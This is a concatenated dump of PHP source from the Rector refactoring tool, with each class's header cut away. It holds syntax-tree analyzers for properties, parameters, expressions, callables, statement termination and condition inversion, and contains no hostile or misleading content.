if (!$phpDocInfo instanceof PhpDocInfo) { return \false; } return $phpDocInfo->hasByAnnotationClasses(self::DOCTRINE_MAPPING_CLASSES); } public function hasClassReflectionAttribute(ClassReflection $classReflection) : bool { /** @var ReflectionClass $nativeReflectionClass */ $nativeReflectionClass = $classReflection->getNativeReflection(); // skip early in case of no attributes at all if ((\method_exists($nativeReflectionClass, 'getAttributes') ? $nativeReflectionClass->getAttributes() : []) === []) { return \false; } foreach (self::DOCTRINE_MAPPING_CLASSES as $doctrineMappingClass) { // skip entities if ((\method_exists($nativeReflectionClass, 'getAttributes') ? $nativeReflectionClass->getAttributes($doctrineMappingClass) : []) !== []) { return \true; } } return \false; } } getAttribute(AttributeKey::SCOPE); if (!$scope instanceof Scope) { // uncertainty when scope not yet filled/overlapped on just refactored return \true; } $nativeType = $scope->getNativeType($expr); if ($nativeType instanceof MixedType && !$nativeType->isExplicitMixed()) { return \true; } $type = $scope->getType($expr); if ($nativeType instanceof ObjectWithoutClassType && !$type instanceof ObjectWithoutClassType) { return \true; } if ($nativeType instanceof UnionType) { return !$nativeType->equals($type); } return !$nativeType->isSuperTypeOf($type)->yes(); } public function isDynamicExpr(Expr $expr) : bool { // Unwrap UnaryPlus and UnaryMinus if ($expr instanceof UnaryPlus || $expr instanceof UnaryMinus) { $expr = $expr->expr; } if ($expr instanceof Array_) { return $this->isDynamicArray($expr); } if ($expr instanceof Scalar) { // string interpolation is true, otherwise false return $expr instanceof Encapsed; } return !$this->isAllowedConstFetchOrClassConstFetch($expr); } public function isDynamicArray(Array_ $array) : bool { foreach ($array->items as $item) { if (!$item instanceof ArrayItem) { continue; } if (!$this->isAllowedArrayKey($item->key)) { return \true; } if (!$this->isAllowedArrayValue($item->value)) { return \true; } } return \false; } private function isAllowedConstFetchOrClassConstFetch(Expr $expr) : bool { if ($expr instanceof ConstFetch) { return \true; } if ($expr instanceof ClassConstFetch) { if (!$expr->class instanceof Name) { return \false; } if (!$expr->name instanceof Identifier) { return \false; } // static::class cannot be used for compile-time class name resolution return $expr->class->toString() !== ObjectReference::STATIC; } return \false; } private function isAllowedArrayKey(?Expr $expr) : bool { if (!$expr instanceof Expr) { return \true; } if ($expr instanceof String_) { return \true; } return $expr instanceof LNumber; } private function isAllowedArrayValue(Expr $expr) : bool { if ($expr instanceof Array_) { return !$this->isDynamicArray($expr); } return !$this->isDynamicExpr($expr); } } nodeNameResolver = $nodeNameResolver; } public function isUnsafeOverridden(ClassMethod $classMethod) : bool { if ($this->nodeNameResolver->isName($classMethod, MethodName::INVOKE)) { return \false; } return $classMethod->isMagic(); } } nodeComparator = $nodeComparator; $this->nodeNameResolver = $nodeNameResolver; $this->funcCallManipulator = $funcCallManipulator; $this->simpleCallableNodeTraverser = $simpleCallableNodeTraverser; $this->betterNodeFinder = $betterNodeFinder; } public function isParamUsedInClassMethod(ClassMethod $classMethod, Param $param) : bool { $isParamUsed = \false; if ($param->var instanceof Error) { return \false; } $this->simpleCallableNodeTraverser->traverseNodesWithCallable($classMethod->stmts, function (Node $node) use(&$isParamUsed, $param) : ?int { if ($isParamUsed) { return NodeTraverser::STOP_TRAVERSAL; } if ($this->isUsedAsArg($node, $param)) { $isParamUsed = \true; } // skip nested anonymous class if ($node instanceof Class_ || $node instanceof Function_) { return NodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } if ($node instanceof Variable && $this->nodeComparator->areNodesEqual($node, $param->var)) { $isParamUsed = \true; } if ($node instanceof Closure && $this->isVariableInClosureUses($node, $param->var)) { $isParamUsed = \true; } if ($this->isParamUsed($node, $param)) { $isParamUsed = \true; } return null; }); return $isParamUsed; } /** * @param Param[] $params */ public function hasPropertyPromotion(array $params) : bool { foreach ($params as $param) { if ($param->flags !== 0) { return \true; } } return \false; } public function isNullable(Param $param) : bool { if ($param->variadic) { return \false; } if ($param->type === null) { return \false; } return $param->type instanceof NullableType; } public function isParamReassign(ClassMethod $classMethod, Param $param) : bool { $paramName = (string) $this->nodeNameResolver->getName($param->var); return (bool) $this->betterNodeFinder->findFirstInFunctionLikeScoped($classMethod, function (Node $node) use($paramName) : bool { if (!$node instanceof Assign) { return \false; } if (!$node->var instanceof Variable) { return \false; } return $this->nodeNameResolver->isName($node->var, $paramName); }); } private function isVariableInClosureUses(Closure $closure, Variable $variable) : bool { foreach ($closure->uses as $use) { if ($this->nodeComparator->areNodesEqual($use->var, $variable)) { return \true; } } return \false; } private function isUsedAsArg(Node $node, Param $param) : bool { if ($node instanceof New_ || $node instanceof CallLike) { if ($node->isFirstClassCallable()) { return \false; } foreach ($node->getArgs() as $arg) { if ($this->nodeComparator->areNodesEqual($param->var, $arg->value)) { return \true; } } } return \false; } private function isParamUsed(Node $node, Param $param) : bool { if (!$node instanceof FuncCall) { return \false; } if (!$this->nodeNameResolver->isName($node, 'compact')) { return \false; } $arguments = $this->funcCallManipulator->extractArgumentsFromCompactFuncCalls([$node]); return $this->nodeNameResolver->isNames($param, $arguments); } } nodeTypeResolver = $nodeTypeResolver; } public function hasForbiddenType(Property $property) : bool { $propertyType = $this->nodeTypeResolver->getType($property); if ($propertyType instanceof NullType) { return \true; } if ($this->isForbiddenType($propertyType)) { return \true; } if (!$propertyType instanceof UnionType) { return \false; } $types = $propertyType->getTypes(); foreach ($types as $type) { if ($this->isForbiddenType($type)) { return \true; } } return \false; } private function isForbiddenType(Type $type) : bool { if ($type instanceof NonExistingObjectType) { return \true; } return $this->isCallableType($type); } private function isCallableType(Type $type) : bool { if ($type instanceof TypeWithClassName && $type->getClassName() === 'Closure') { return \false; } return $type instanceof CallableType; } } nodeNameResolver = $nodeNameResolver; $this->betterNodeFinder = $betterNodeFinder; $this->astResolver = $astResolver; $this->nodeTypeResolver = $nodeTypeResolver; $this->reflectionResolver = $reflectionResolver; } public function isLocalPropertyFetch(Node $node) : bool { if (!$node instanceof PropertyFetch && !$node instanceof StaticPropertyFetch && !$node instanceof NullsafePropertyFetch) { return \false; } $variableType = $node instanceof StaticPropertyFetch ? $this->nodeTypeResolver->getType($node->class) : $this->nodeTypeResolver->getType($node->var); if ($variableType instanceof ObjectType) { $classReflection = $this->reflectionResolver->resolveClassReflection($node); if ($classReflection instanceof ClassReflection) { return $classReflection->getName() === $variableType->getClassName(); } return \false; } if (!$variableType instanceof ThisType) { return $this->isTraitLocalPropertyFetch($node); } return \true; } public function isLocalPropertyFetchName(Node $node, string $desiredPropertyName) : bool { if (!$node instanceof PropertyFetch && !$node instanceof StaticPropertyFetch && !$node instanceof NullsafePropertyFetch) { return \false; } if (!$this->nodeNameResolver->isName($node->name, $desiredPropertyName)) { return \false; } return $this->isLocalPropertyFetch($node); } public function containsLocalPropertyFetchName(Trait_ $trait, string $propertyName) : bool { if ($trait->getProperty($propertyName) instanceof Property) { return \true; } return (bool) $this->betterNodeFinder->findFirst($trait, function (Node $node) use($propertyName) : bool { return $this->isLocalPropertyFetchName($node, $propertyName); }); } /** * @phpstan-assert-if-true PropertyFetch|StaticPropertyFetch $node */ public function isPropertyFetch(Node $node) : bool { if ($node instanceof PropertyFetch) { return \true; } return $node instanceof StaticPropertyFetch; } /** * Matches: * "$this->someValue = $;" */ public function isVariableAssignToThisPropertyFetch(Assign $assign, string $variableName) : bool { if (!$assign->expr instanceof Variable) { return \false; } if (!$this->nodeNameResolver->isName($assign->expr, $variableName)) { return \false; } return $this->isLocalPropertyFetch($assign->var); } public function isFilledViaMethodCallInConstructStmts(ClassLike $classLike, string $propertyName) : bool { $classMethod = $classLike->getMethod(MethodName::CONSTRUCT); if (!$classMethod instanceof ClassMethod) { return \false; } $className = (string) $this->nodeNameResolver->getName($classLike); $stmts = (array) $classMethod->stmts; foreach ($stmts as $stmt) { if (!$stmt instanceof Expression) { continue; } if (!$stmt->expr instanceof MethodCall && !$stmt->expr instanceof StaticCall) { continue; } $callerClassMethod = $this->astResolver->resolveClassMethodFromCall($stmt->expr); if (!$callerClassMethod instanceof ClassMethod) { continue; } $callerClassReflection = $this->reflectionResolver->resolveClassReflection($callerClassMethod); if (!$callerClassReflection instanceof ClassReflection) { continue; } if (!$callerClassReflection->isClass()) { continue; } $callerClassName = $callerClassReflection->getName(); $isFound = $this->isPropertyAssignFoundInClassMethod($classLike, $className, $callerClassName, $callerClassMethod, $propertyName); if ($isFound) { return \true; } } return \false; } private function isTraitLocalPropertyFetch(Node $node) : bool { if ($node instanceof PropertyFetch) { if (!$node->var instanceof Variable) { return \false; } return $this->nodeNameResolver->isName($node->var, self::THIS); } if ($node instanceof StaticPropertyFetch) { if (!$node->class instanceof Name) { return \false; } return $this->nodeNameResolver->isNames($node->class, [ObjectReference::SELF, ObjectReference::STATIC]); } return \false; } private function isPropertyAssignFoundInClassMethod(ClassLike $classLike, string $className, string $callerClassName, ClassMethod $classMethod, string $propertyName) : bool { if ($className !== $callerClassName && !$classLike instanceof Trait_) { $objectType = new ObjectType($className); $callerObjectType = new ObjectType($callerClassName); if (!$callerObjectType->isSuperTypeOf($objectType)->yes()) { return \false; } } foreach ((array) $classMethod->stmts as $stmt) { if (!$stmt instanceof Expression) { continue; } if (!$stmt->expr instanceof Assign) { continue; } if ($this->isLocalPropertyFetchName($stmt->expr->var, $propertyName)) { return \true; } } return \false; } } promotedPropertyResolver = $promotedPropertyResolver; $this->nodeNameResolver = $nodeNameResolver; $this->reflectionProvider = $reflectionProvider; $this->astResolver = $astResolver; } /** * Includes parent classes and traits */ public function hasClassContextProperty(Class_ $class, PropertyMetadata $propertyMetadata) : bool { $propertyOrParam = $this->getClassContextProperty($class, $propertyMetadata); return $propertyOrParam !== null; } /** * @return \PhpParser\Node\Stmt\Property|\PhpParser\Node\Param|null */ public function getClassContextProperty(Class_ $class, PropertyMetadata $propertyMetadata) { $className = $this->nodeNameResolver->getName($class); if ($className === null) { return null; } $property = $class->getProperty($propertyMetadata->getName()); if ($property instanceof Property) { return $property; } $property = $this->matchPropertyByParentNonPrivateProperties($className, $propertyMetadata); if ($property instanceof Property || $property instanceof Param) { return $property; } $promotedPropertyParams = $this->promotedPropertyResolver->resolveFromClass($class); foreach ($promotedPropertyParams as $promotedPropertyParam) { if ($this->nodeNameResolver->isName($promotedPropertyParam, $propertyMetadata->getName())) { return $promotedPropertyParam; } } return null; } /** * @return PhpPropertyReflection[] */ private function getParentClassNonPrivatePropertyReflections(string $className) : array { if (!$this->reflectionProvider->hasClass($className)) { return []; } $classReflection = $this->reflectionProvider->getClass($className); $propertyReflections = []; foreach ($classReflection->getParents() as $parentClassReflection) { $propertyNames = $this->resolveNonPrivatePropertyNames($parentClassReflection); foreach ($propertyNames as $propertyName) { $propertyReflections[] = $parentClassReflection->getNativeProperty($propertyName); } } return $propertyReflections; } /** * @return \PhpParser\Node\Stmt\Property|\PhpParser\Node\Param|null */ private function matchPropertyByType(PropertyMetadata $propertyMetadata, PhpPropertyReflection $phpPropertyReflection) { if (!$propertyMetadata->getType() instanceof Type) { return null; } if (!$propertyMetadata->getType() instanceof TypeWithClassName) { return null; } if (!$phpPropertyReflection->getWritableType() instanceof TypeWithClassName) { return null; } $propertyObjectTypeWithClassName = $propertyMetadata->getType(); if (!$propertyObjectTypeWithClassName->equals($phpPropertyReflection->getWritableType())) { return null; } return $this->astResolver->resolvePropertyFromPropertyReflection($phpPropertyReflection); } /** * @return \PhpParser\Node\Stmt\Property|\PhpParser\Node\Param|null */ private function matchPropertyByParentNonPrivateProperties(string $className, PropertyMetadata $propertyMetadata) { $availablePropertyReflections = $this->getParentClassNonPrivatePropertyReflections($className); foreach ($availablePropertyReflections as $availablePropertyReflection) { // 1. match type by priority $property = $this->matchPropertyByType($propertyMetadata, $availablePropertyReflection); if ($property instanceof Property || $property instanceof Param) { return $property; } $nativePropertyReflection = $availablePropertyReflection->getNativeReflection(); // 2. match by name if ($nativePropertyReflection->getName() === $propertyMetadata->getName()) { return $this->astResolver->resolvePropertyFromPropertyReflection($availablePropertyReflection); } } return null; } /** * @return string[] */ private function resolveNonPrivatePropertyNames(ClassReflection $classReflection) : array { $propertyNames = []; $nativeReflection = $classReflection->getNativeReflection(); foreach ($nativeReflection->getProperties() as $reflectionProperty) { if ($reflectionProperty->isPrivate()) { continue; } $propertyNames[] = $reflectionProperty->getName(); } return $propertyNames; } } > */ private const NON_REFRESHABLE_NODES = [Name::class, Identifier::class, Param::class, Arg::class, Variable::class]; public function isRefreshable(Node $node) : bool { foreach (self::NON_REFRESHABLE_NODES as $noScopeNode) { if ($node instanceof $noScopeNode) { return \false; } } return \true; } } > */ private const TERMINATED_NODES = [Return_::class, Throw_::class]; /** * @var array> */ private const TERMINABLE_NODES = [Throw_::class, Return_::class, Break_::class, Continue_::class]; /** * @var array> */ private const TERMINABLE_NODES_BY_ITS_STMTS = [TryCatch::class, If_::class, Switch_::class]; /** * @var array> */ private const ALLOWED_CONTINUE_CURRENT_STMTS = [InlineHTML::class, Nop::class]; public function isAlwaysTerminated(StmtsAwareInterface $stmtsAware, Stmt $node, Stmt $currentStmt) : bool { if (\in_array(\get_class($currentStmt), self::ALLOWED_CONTINUE_CURRENT_STMTS, \true)) { return \false; } if (($stmtsAware instanceof FileWithoutNamespace || $stmtsAware instanceof Namespace_) && ($currentStmt instanceof ClassLike || $currentStmt instanceof Function_)) { return \false; } if (!\in_array(\get_class($node), self::TERMINABLE_NODES_BY_ITS_STMTS, \true)) { return $this->isTerminatedNode($node, $currentStmt); } if ($node instanceof TryCatch) { return $this->isTerminatedInLastStmtsTryCatch($node, $currentStmt); } if ($node instanceof If_) { return $this->isTerminatedInLastStmtsIf($node, $currentStmt); } /** @var Switch_ $node */ return $this->isTerminatedInLastStmtsSwitch($node, $currentStmt); } private function isTerminatedNode(Node $previousNode, Node $currentStmt) : bool { if (\in_array(\get_class($previousNode), self::TERMINABLE_NODES, \true)) { return \true; } if ($previousNode instanceof Expression && $previousNode->expr instanceof Exit_) { return \true; } if ($previousNode instanceof Goto_) { return !$currentStmt instanceof Label; } return \false; } private function isTerminatedInLastStmtsSwitch(Switch_ $switch, Stmt $stmt) : bool { if ($switch->cases === []) { return \false; } $hasDefault = \false; foreach ($switch->cases as $key => $case) { if (!$case->cond instanceof Expr) { $hasDefault = \true; } if ($case->stmts === [] && isset($switch->cases[$key + 1])) { continue; } if (!$this->isTerminatedInLastStmts($case->stmts, $stmt)) { return \false; } } return $hasDefault; } private function isTerminatedInLastStmtsTryCatch(TryCatch $tryCatch, Stmt $stmt) : bool { if ($tryCatch->finally instanceof Finally_ && $this->isTerminatedInLastStmts($tryCatch->finally->stmts, $stmt)) { return \true; } foreach ($tryCatch->catches as $catch) { if (!$this->isTerminatedInLastStmts($catch->stmts, $stmt)) { return \false; } } return $this->isTerminatedInLastStmts($tryCatch->stmts, $stmt); } private function isTerminatedInLastStmtsIf(If_ $if, Stmt $stmt) : bool { // Without ElseIf_[] and Else_, after If_ is possibly executable if ($if->elseifs === [] && !$if->else instanceof Else_) { return \false; } foreach ($if->elseifs as $elseif) { if (!$this->isTerminatedInLastStmts($elseif->stmts, $stmt)) { return \false; } } if (!$this->isTerminatedInLastStmts($if->stmts, $stmt)) { return \false; } if (!$if->else instanceof Else_) { return \false; } return $this->isTerminatedInLastStmts($if->else->stmts, $stmt); } /** * @param Stmt[] $stmts */ private function isTerminatedInLastStmts(array $stmts, Node $node) : bool { if ($stmts === []) { return \false; } \end($stmts); $lastKey = \key($stmts); \reset($stmts); $lastNode = $stmts[$lastKey]; if (isset($stmts[$lastKey - 1]) && $this->isTerminatedNode($stmts[$lastKey - 1], $node)) { return \false; } if ($lastNode instanceof Expression) { return $lastNode->expr instanceof Exit_; } return \in_array(\get_class($lastNode), self::TERMINATED_NODES, \true); } } getAttribute(AttributeKey::IS_GLOBAL_VAR) === \true) { return \true; } return $variable->getAttribute(AttributeKey::IS_STATIC_VAR) === \true; } public function isUsedByReference(Variable $variable) : bool { return $variable->getAttribute(AttributeKey::IS_BYREF_VAR) === \true; } } reflectionResolver = $reflectionResolver; } /** * @param \PhpParser\Node\Expr\FuncCall|\PhpParser\Node\Expr\StaticCall|\PhpParser\Node\Expr\MethodCall $call */ public function hasVariadicParameters($call) : bool { $functionLikeReflection = $this->reflectionResolver->resolveFunctionLikeReflectionFromCall($call); if ($functionLikeReflection === null) { return \false; } return $this->hasVariadicVariant($functionLikeReflection); } /** * @param \PHPStan\Reflection\MethodReflection|\PHPStan\Reflection\FunctionReflection $functionLikeReflection */ private function hasVariadicVariant($functionLikeReflection) : bool { foreach ($functionLikeReflection->getVariants() as $parametersAcceptor) { // can be any number of arguments → nothing to limit here if ($parametersAcceptor->isVariadic()) { return \true; } } return \false; } } $binaryOpClass * @return array */ public function findConditions(Expr $expr, string $binaryOpClass) : array { if (\get_class($expr) !== $binaryOpClass) { // Different binary operators, as well as non-BinaryOp expressions // are considered trivial case of a single operand (no operators). return [$expr]; } $conditions = []; /** @var BinaryOp|Expr $expr */ while ($expr instanceof BinaryOp) { $conditions[] = $expr->right; $expr = $expr->left; if ($binaryOpClass !== \get_class($expr)) { $conditions[] = $expr; break; } } \krsort($conditions); return $conditions; } } nodeTypeResolver = $nodeTypeResolver; $this->valueResolver = $valueResolver; $this->reflectionProvider = $reflectionProvider; $this->reflectionResolver = $reflectionResolver; } /** * Matches array like: "[$this, 'methodName']" → ['ClassName', 'methodName'] * Returns ArrayCallableDynamicMethod object when unknown method of callable used, eg: [$this, $other] * @see https://github.com/rectorphp/rector-src/pull/908 * @see https://github.com/rectorphp/rector-src/pull/909 * @return null|\Rector\NodeCollector\ValueObject\ArrayCallableDynamicMethod|\Rector\NodeCollector\ValueObject\ArrayCallable */ public function match(Array_ $array, Scope $scope, ?string $classMethodName = null) { if (\count($array->items) !== 2) { return null; } if ($this->shouldSkipNullItems($array)) { return null; } /** @var ArrayItem[] $items */ $items = $array->items; // $this, self, static, FQN $firstItemValue = $items[0]->value; $callerType = $this->resolveCallerType($firstItemValue, $scope, $classMethodName); if (!$callerType instanceof TypeWithClassName) { return null; } if ($array->getAttribute(AttributeKey::IS_ARRAY_IN_ATTRIBUTE) === \true) { return null; } $values = $this->valueResolver->getValue($array); $className = $callerType->getClassName(); $secondItemValue = $items[1]->value; if ($values === null) { return new ArrayCallableDynamicMethod(); } if ($this->shouldSkipAssociativeArray($values)) { return null; } if (!$secondItemValue instanceof String_) { return null; } if ($this->isCallbackAtFunctionNames($array, ['register_shutdown_function', 'forward_static_call'])) { return null; } $methodName = $secondItemValue->value; if ($methodName === MethodName::CONSTRUCT) { return null; } // skip non-existing methods if (!$callerType->hasMethod($methodName)->yes()) { return null; } return new ArrayCallable($firstItemValue, $className, $methodName); } private function shouldSkipNullItems(Array_ $array) : bool { if (!$array->items[0] instanceof ArrayItem) { return \true; } return !$array->items[1] instanceof ArrayItem; } /** * @param mixed $values */ private function shouldSkipAssociativeArray($values) : bool { if (!\is_array($values)) { return \false; } $keys = \array_keys($values); return $keys !== [0, 1] && $keys !== [1]; } /** * @param string[] $functionNames */ private function isCallbackAtFunctionNames(Array_ $array, array $functionNames) : bool { $fromFuncCallName = $array->getAttribute(AttributeKey::FROM_FUNC_CALL_NAME); if ($fromFuncCallName === null) { return \false; } return \in_array($fromFuncCallName, $functionNames, \true); } /** * @param \PhpParser\Node\Expr\ClassConstFetch|\PhpParser\Node\Scalar\MagicConst\Class_ $classContext * @return \PHPStan\Type\MixedType|\PHPStan\Type\ObjectType */ private function resolveClassContextType($classContext, Scope $scope, ?string $classMethodName) { $classConstantReference = $this->valueResolver->getValue($classContext); // non-class value if (!\is_string($classConstantReference)) { return new MixedType(); } if ($this->isRequiredClassReflectionResolution($classConstantReference)) { $classReflection = $this->reflectionResolver->resolveClassReflection($classContext); if (!$classReflection instanceof ClassReflection || !$classReflection->isClass()) { return new MixedType(); } $classConstantReference = $classReflection->getName(); } if (!$this->reflectionProvider->hasClass($classConstantReference)) { return new MixedType(); } $classReflection = $this->reflectionProvider->getClass($classConstantReference); $hasConstruct = $classReflection->hasMethod(MethodName::CONSTRUCT); if (!$hasConstruct) { return new ObjectType($classConstantReference, null, $classReflection); } if (\is_string($classMethodName) && $classReflection->hasNativeMethod($classMethodName)) { return new ObjectType($classConstantReference, null, $classReflection); } $extendedMethodReflection = $classReflection->getMethod(MethodName::CONSTRUCT, $scope); $parametersAcceptorWithPhpDocs = ParametersAcceptorSelector::combineAcceptors($extendedMethodReflection->getVariants()); foreach ($parametersAcceptorWithPhpDocs->getParameters() as $parameterReflectionWithPhpDoc) { if (!$parameterReflectionWithPhpDoc->getDefaultValue() instanceof Type) { return new MixedType(); } } return new ObjectType($classConstantReference, null, $classReflection); } private function resolveCallerType(Expr $expr, Scope $scope, ?string $classMethodName) : Type { if ($expr instanceof ClassConstFetch || $expr instanceof Class_) { // class context means self|static ::class or __CLASS__ $callerType = $this->resolveClassContextType($expr, $scope, $classMethodName); } else { $callerType = $this->nodeTypeResolver->getType($expr); } if ($callerType instanceof ThisType) { return $callerType->getStaticObjectType(); } return $callerType; } private function isRequiredClassReflectionResolution(string $classConstantReference) : bool { if ($classConstantReference === ObjectReference::STATIC) { return \true; } return $classConstantReference === '__CLASS__'; } } resolveParentClassReflection($scope); if (!$parentClassReflection instanceof ClassReflection) { return null; } return $parentClassReflection->getName(); } public function resolveParentClassReflection(Scope $scope) : ?ClassReflection { $classReflection = $scope->getClassReflection(); if (!$classReflection instanceof ClassReflection) { return null; } return $classReflection->getParentClass(); } } hasNativeMethod($methodName)) { $extendedMethodReflection = $classReflection->getNativeMethod($methodName); if ($extendedMethodReflection->isStatic()) { // use cached ClassReflection if (!$class instanceof Class_) { return \true; } // use non-cached Class_ $classMethod = $class->getMethod($methodName); if ($classMethod instanceof ClassMethod && $classMethod->isStatic()) { return \true; } } } // could be static in doc type magic // @see https://regex101.com/r/tlvfTB/1 return $this->hasStaticAnnotation($methodName, $classReflection); } private function hasStaticAnnotation(string $methodName, ClassReflection $classReflection) : bool { $resolvedPhpDocBlock = $classReflection->getResolvedPhpDoc(); if (!$resolvedPhpDocBlock instanceof ResolvedPhpDocBlock) { return \false; } // @see https://regex101.com/r/7Zkej2/1 return StringUtils::isMatch($resolvedPhpDocBlock->getPhpDocString(), '#@method\\s*static\\s*((([\\w\\|\\\\]+)|\\$this)*+(\\[\\])*)*\\s+\\b' . $methodName . '\\b#'); } } callerExpr = $callerExpr; $this->class = $class; $this->method = $method; RectorAssert::className($class); } public function getClass() : string { return $this->class; } public function getMethod() : string { return $this->method; } public function getCallerExpr() : Expr { return $this->callerExpr; } } |Node $node * @param class-string $rectorClass */ public function decorate($node, Node $originalNode, string $rectorClass) : void { if ($node instanceof Node && $node === $originalNode) { $this->createByRule($node, $rectorClass); return; } if ($node instanceof Node) { $node = [$node]; } foreach ($node as $singleNode) { if (\get_class($singleNode) === \get_class($originalNode)) { $this->createByRule($singleNode, $rectorClass); } } $this->createByRule($originalNode, $rectorClass); } /** * @param class-string $rectorClass */ private function createByRule(Node $node, string $rectorClass) : void { /** @var class-string[] $createdByRule */ $createdByRule = $node->getAttribute(AttributeKey::CREATED_BY_RULE) ?? []; // empty array, insert if ($createdByRule === []) { $node->setAttribute(AttributeKey::CREATED_BY_RULE, [$rectorClass]); return; } // consecutive, no need to refill if (\end($createdByRule) === $rectorClass) { return; } // filter out when exists, then append $createdByRule = \array_filter($createdByRule, static function (string $rectorRule) use($rectorClass) : bool { return $rectorRule !== $rectorClass; }); $node->setAttribute(AttributeKey::CREATED_BY_RULE, \array_merge($createdByRule, [$rectorClass])); } } phpDocInfoFactory = $phpDocInfoFactory; $this->phpVersionProvider = $phpVersionProvider; $this->staticTypeMapper = $staticTypeMapper; $this->phpDocTypeChanger = $phpDocTypeChanger; } public function decorate(Property $property, ?Type $type) : void { if (!$type instanceof Type) { return; } $phpDocInfo = $this->phpDocInfoFactory->createFromNodeOrEmpty($property); if ($this->phpVersionProvider->isAtLeastPhpVersion(PhpVersionFeature::TYPED_PROPERTIES)) { $phpParserType = $this->staticTypeMapper->mapPHPStanTypeToPhpParserNode($type, TypeKind::PROPERTY); if ($phpParserType instanceof Node) { $property->type = $phpParserType; if ($type instanceof GenericObjectType) { $this->phpDocTypeChanger->changeVarType($property, $phpDocInfo, $type); } return; } } $this->phpDocTypeChanger->changeVarType($property, $phpDocInfo, $type); } } nodeNameResolver = $nodeNameResolver; $this->betterNodeFinder = $betterNodeFinder; $this->propertyFetchAnalyzer = $propertyFetchAnalyzer; } /** * Matches: * list([1, 2]) = each($items) */ public function matchListAndEach(Assign $assign) : ?ListAndEach { // could be behind error suppress if ($assign->expr instanceof ErrorSuppress) { $errorSuppress = $assign->expr; $bareExpr = $errorSuppress->expr; } else { $bareExpr = $assign->expr; } if (!$bareExpr instanceof FuncCall) { return null; } if (!$assign->var instanceof List_) { return null; } if (!$this->nodeNameResolver->isName($bareExpr, 'each')) { return null; } // no placeholders if ($bareExpr->isFirstClassCallable()) { return null; } return new ListAndEach($assign->var, $bareExpr); } public function isLeftPartOfAssign(Node $node) : bool { if ($node->getAttribute(AttributeKey::IS_BEING_ASSIGNED) === \true) { return \true; } if ($node->getAttribute(AttributeKey::IS_ASSIGN_REF_EXPR) === \true) { return \true; } return $node->getAttribute(AttributeKey::IS_ASSIGN_OP_VAR) === \true; } /** * @api doctrine * @return array */ public function resolveAssignsToLocalPropertyFetches(FunctionLike $functionLike) : array { return $this->betterNodeFinder->find((array) $functionLike->getStmts(), function (Node $node) : bool { if (!$this->propertyFetchAnalyzer->isLocalPropertyFetch($node)) { return \false; } return $this->isLeftPartOfAssign($node); }); } } assignAndBinaryMap = $assignAndBinaryMap; } /** * Tries to match left or right parts (xor), * returns null or match on first condition and then second condition. No matter what the origin order is. * * @param callable(Node $firstNode, Node $secondNode): bool|class-string $firstCondition * @param callable(Node $firstNode, Node $secondNode): bool|class-string $secondCondition */ public function matchFirstAndSecondConditionNode(BinaryOp $binaryOp, $firstCondition, $secondCondition) : ?TwoNodeMatch { $this->validateCondition($firstCondition); $this->validateCondition($secondCondition); $firstCondition = $this->normalizeCondition($firstCondition); $secondCondition = $this->normalizeCondition($secondCondition); if ($firstCondition($binaryOp->left, $binaryOp->right) && $secondCondition($binaryOp->right, $binaryOp->left)) { return new TwoNodeMatch($binaryOp->left, $binaryOp->right); } if (!$firstCondition($binaryOp->right, $binaryOp->left)) { return null; } if (!$secondCondition($binaryOp->left, $binaryOp->right)) { return null; } return new TwoNodeMatch($binaryOp->right, $binaryOp->left); } public function inverseBooleanOr(BooleanOr $booleanOr) : ?BinaryOp { // no nesting if ($booleanOr->left instanceof BooleanOr) { return null; } if ($booleanOr->right instanceof BooleanOr) { return null; } $inversedNodeClass = $this->resolveInversedNodeClass($booleanOr); if ($inversedNodeClass === null) { return null; } $firstInversedExpr = $this->inverseNode($booleanOr->left); $secondInversedExpr = $this->inverseNode($booleanOr->right); return new $inversedNodeClass($firstInversedExpr, $secondInversedExpr); } public function invertCondition(BinaryOp $binaryOp) : ?BinaryOp { // no nesting if ($binaryOp->left instanceof BooleanOr) { return null; } if ($binaryOp->right instanceof BooleanOr) { return null; } $inversedNodeClass = $this->resolveInversedNodeClass($binaryOp); if ($inversedNodeClass === null) { return null; } return new $inversedNodeClass($binaryOp->left, $binaryOp->right); } /** * @return \PhpParser\Node\Expr\BinaryOp|\PhpParser\Node\Expr|\PhpParser\Node\Expr\BooleanNot */ public function inverseNode(Expr $expr) { if ($expr instanceof BinaryOp) { $inversedBinaryOp = $this->assignAndBinaryMap->getInversed($expr); if ($inversedBinaryOp !== null) { return new $inversedBinaryOp($expr->left, $expr->right); } } if ($expr instanceof BooleanNot) { return $expr->expr; } return new BooleanNot($expr); } /** * @param callable(Node $firstNode, Node $secondNode): bool|class-string $firstCondition */ private function validateCondition($firstCondition) : void { if (\is_callable($firstCondition)) { return; } if (\is_a($firstCondition, Node::class, \true)) { return; } throw new ShouldNotHappenException(); } /** * @param callable(Node $firstNode, Node $secondNode): bool|class-string $condition * @return callable(Node $firstNode, Node $secondNode): bool */ private function normalizeCondition($condition) : callable { if (\is_callable($condition)) { return $condition; } return static function (Node $node) use($condition) : bool { return $node instanceof $condition; }; } /** * @return class-string|null */ private function resolveInversedNodeClass(BinaryOp $binaryOp) : ?string { $inversedNodeClass = $this->assignAndBinaryMap->getInversed($binaryOp); if ($inversedNodeClass !== null) { return $inversedNodeClass; } if ($binaryOp instanceof BooleanOr) { return BooleanAnd::class; } return null; } } betterNodeFinder = $betterNodeFinder; $this->nodeNameResolver = $nodeNameResolver; $this->astResolver = $astResolver; } public function hasClassConstFetch(ClassConst $classConst, ClassReflection $classReflection) : bool { if (!$classReflection->isClass() && !$classReflection->isEnum()) { return \true; } $className = $classReflection->getName(); foreach ($classReflection->getAncestors() as $ancestorClassReflection) { $ancestorClass = $this->astResolver->resolveClassFromClassReflection($ancestorClassReflection); if (!$ancestorClass instanceof ClassLike) { continue; } // has in class? $isClassConstFetchFound = (bool) $this->betterNodeFinder->findFirst($ancestorClass, function (Node $node) use($classConst, $className) : bool { // property + static fetch if (!$node instanceof ClassConstFetch) { return \false; } return $this->isNameMatch($node, $classConst, $className); }); if ($isClassConstFetchFound) { return \true; } } return \false; } private function isNameMatch(ClassConstFetch $classConstFetch, ClassConst $classConst, string $className) : bool { $classConstName = (string) $this->nodeNameResolver->getName($classConst); $selfConstantName = 'self::' . $classConstName; $staticConstantName = 'static::' . $classConstName; $classNameConstantName = $className . '::' . $classConstName; return $this->nodeNameResolver->isNames($classConstFetch, [$selfConstantName, $staticConstantName, $classNameConstantName]); } } classInsertManipulator = $classInsertManipulator; $this->classMethodAssignManipulator = $classMethodAssignManipulator; $this->nodeFactory = $nodeFactory; $this->stmtsManipulator = $stmtsManipulator; $this->phpVersionProvider = 